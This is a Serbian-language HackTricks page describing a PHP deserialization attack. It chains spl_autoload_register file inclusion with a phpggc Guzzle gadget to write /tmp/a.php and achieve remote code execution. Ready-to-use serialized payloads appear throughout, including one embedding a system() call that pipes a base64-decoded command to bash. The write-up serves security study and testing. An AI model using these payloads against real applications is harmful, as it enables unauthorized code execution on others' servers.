mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
5.4 KiB
Markdown
65 lines
5.4 KiB
Markdown
# PHP - Deserializacija + Autoload Klase
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Prvo, trebate proveriti šta su [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
|
|
|
## PHP deserializacija + spl_autoload_register + LFI/Gadget
|
|
|
|
Nalazimo se u situaciji gde smo pronašli **PHP deserializaciju u web aplikaciji** bez **ikakvih** ranjivih biblioteka za gadgete unutar **`phpggc`**. Međutim, u istom kontejneru postojala je **druga composer web aplikacija sa ranjivim bibliotekama**. Stoga, cilj je bio da **učitamo composer loader druge web aplikacije** i iskoristimo ga da **učitamo gadget koji će iskoristiti tu biblioteku sa gadgetom** iz web aplikacije ranjive na deserializaciju.
|
|
|
|
Koraci:
|
|
|
|
- Pronašli ste **deserializaciju** i **nema** nikakvog gadgeta u trenutnom kodu aplikacije
|
|
- Možete iskoristiti funkciju **`spl_autoload_register`** kao što je sledeća da **učitate bilo koji lokalni fajl sa `.php` ekstenzijom**
|
|
- Za to koristite deserializaciju gde će ime klase biti unutar **`$name`**. **Ne možete koristiti "/" ili "."** u imenu klase u serijalizovanom objektu, ali **kod** **menja** **donje crte** ("\_") **u kose crte** ("/"). Tako će ime klase kao što je `tmp_passwd` biti transformisano u `/tmp/passwd.php` i kod će pokušati da ga učita.\
|
|
Primer **gadgeta** bi bio: **`O:10:"tmp_passwd":0:{}`**
|
|
```php
|
|
spl_autoload_register(function ($name) {
|
|
|
|
if (preg_match('/Controller$/', $name)) {
|
|
$name = "controllers/${name}";
|
|
} elseif (preg_match('/Model$/', $name)) {
|
|
$name = "models/${name}";
|
|
} elseif (preg_match('/_/', $name)) {
|
|
$name = preg_replace('/_/', '/', $name);
|
|
}
|
|
|
|
$filename = "/${name}.php";
|
|
|
|
if (file_exists($filename)) {
|
|
require $filename;
|
|
}
|
|
elseif (file_exists(__DIR__ . $filename)) {
|
|
require __DIR__ . $filename;
|
|
}
|
|
});
|
|
```
|
|
> [!TIP]
|
|
> Ako imate **upload fajlova** i možete da upload-ujete fajl sa **`.php` ekstenzijom**, mogli biste **da zloupotrebite ovu funkcionalnost direktno** i dobijete već RCE.
|
|
|
|
U mom slučaju, nisam imao ništa slično, ali je unutar **iste kontejnera** bila još jedna composer web stranica sa **bibliotekom koja je ranjiva na `phpggc` gadget**.
|
|
|
|
- Da biste učitali ovu drugu biblioteku, prvo morate da **učitate composer loader te druge web aplikacije** (jer loader trenutne aplikacije neće imati pristup bibliotekama druge.) **Poznavajući putanju aplikacije**, to možete lako postići sa: **`O:28:"www_frontend_vendor_autoload":0:{}`** (U mom slučaju, composer loader je bio u `/www/frontend/vendor/autoload.php`)
|
|
- Sada možete **učitati** druge **app composer loader**, tako da je vreme da **`generišete phpgcc`** **payload** koji ćete koristiti. U mom slučaju, koristio sam **`Guzzle/FW1`**, što mi je omogućilo da **pišem bilo koji fajl unutar fajl sistema**.
|
|
- NAPOMENA: **Generisani gadget nije radio**, da bi radio, **izmenio** sam taj payload **`chain.php`** od phpggc i postavio **sve atribute** klasa **sa privatnih na javne**. Ako ne, nakon deserializacije stringa, atributi kreiranih objekata nisu imali nikakve vrednosti.
|
|
- Sada imamo način da **učitamo druge app composer loader** i imamo **phpggc payload koji radi**, ali moramo **to uraditi u ISTOM ZAHTEVU da bi loader bio učitan kada se gadget koristi**. Za to, poslao sam serijalizovani niz sa oba objekta kao:
|
|
- Možete videti **prvo kako se loader učitava, a zatim payload**
|
|
```php
|
|
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
|
```
|
|
- Sada možemo **napraviti i napisati datoteku**, međutim, korisnik **nije mogao da piše u bilo koju fasciklu unutar web servera**. Dakle, kao što možete videti u payload-u, PHP poziva **`system`** sa nekim **base64** koji je kreiran u **`/tmp/a.php`**. Zatim, možemo **ponovo iskoristiti prvi tip payload-a** koji smo koristili kao LFI da učitamo composer loader druge web aplikacije **da učitamo generisanu `/tmp/a.php`** datoteku. Samo ga dodajte u gadget za deserializaciju: 
|
|
```php
|
|
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
|
```
|
|
**Sažetak payload-a**
|
|
|
|
- **Učitaj composer autoload** druge web aplikacije u istom kontejneru
|
|
- **Učitaj phpggc gadget** da iskoristi biblioteku iz druge web aplikacije (prva web aplikacija ranjiva na deserializaciju nije imala nijedan gadget u svojim bibliotekama)
|
|
- Gadget će **napraviti datoteku sa PHP payload-om** u /tmp/a.php sa malicioznim komandama (korisnik web aplikacije ne može da piše u bilo koju fasciklu bilo koje web aplikacije)
|
|
- Poslednji deo našeg payload-a će koristiti **učitaj generisanu php datoteku** koja će izvršiti komande
|
|
|
|
Trebao sam **pozvati ovu deserializaciju dva puta**. U mom testiranju, prvi put je datoteka `/tmp/a.php` kreirana, ali nije učitana, a drugi put je ispravno učitana.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|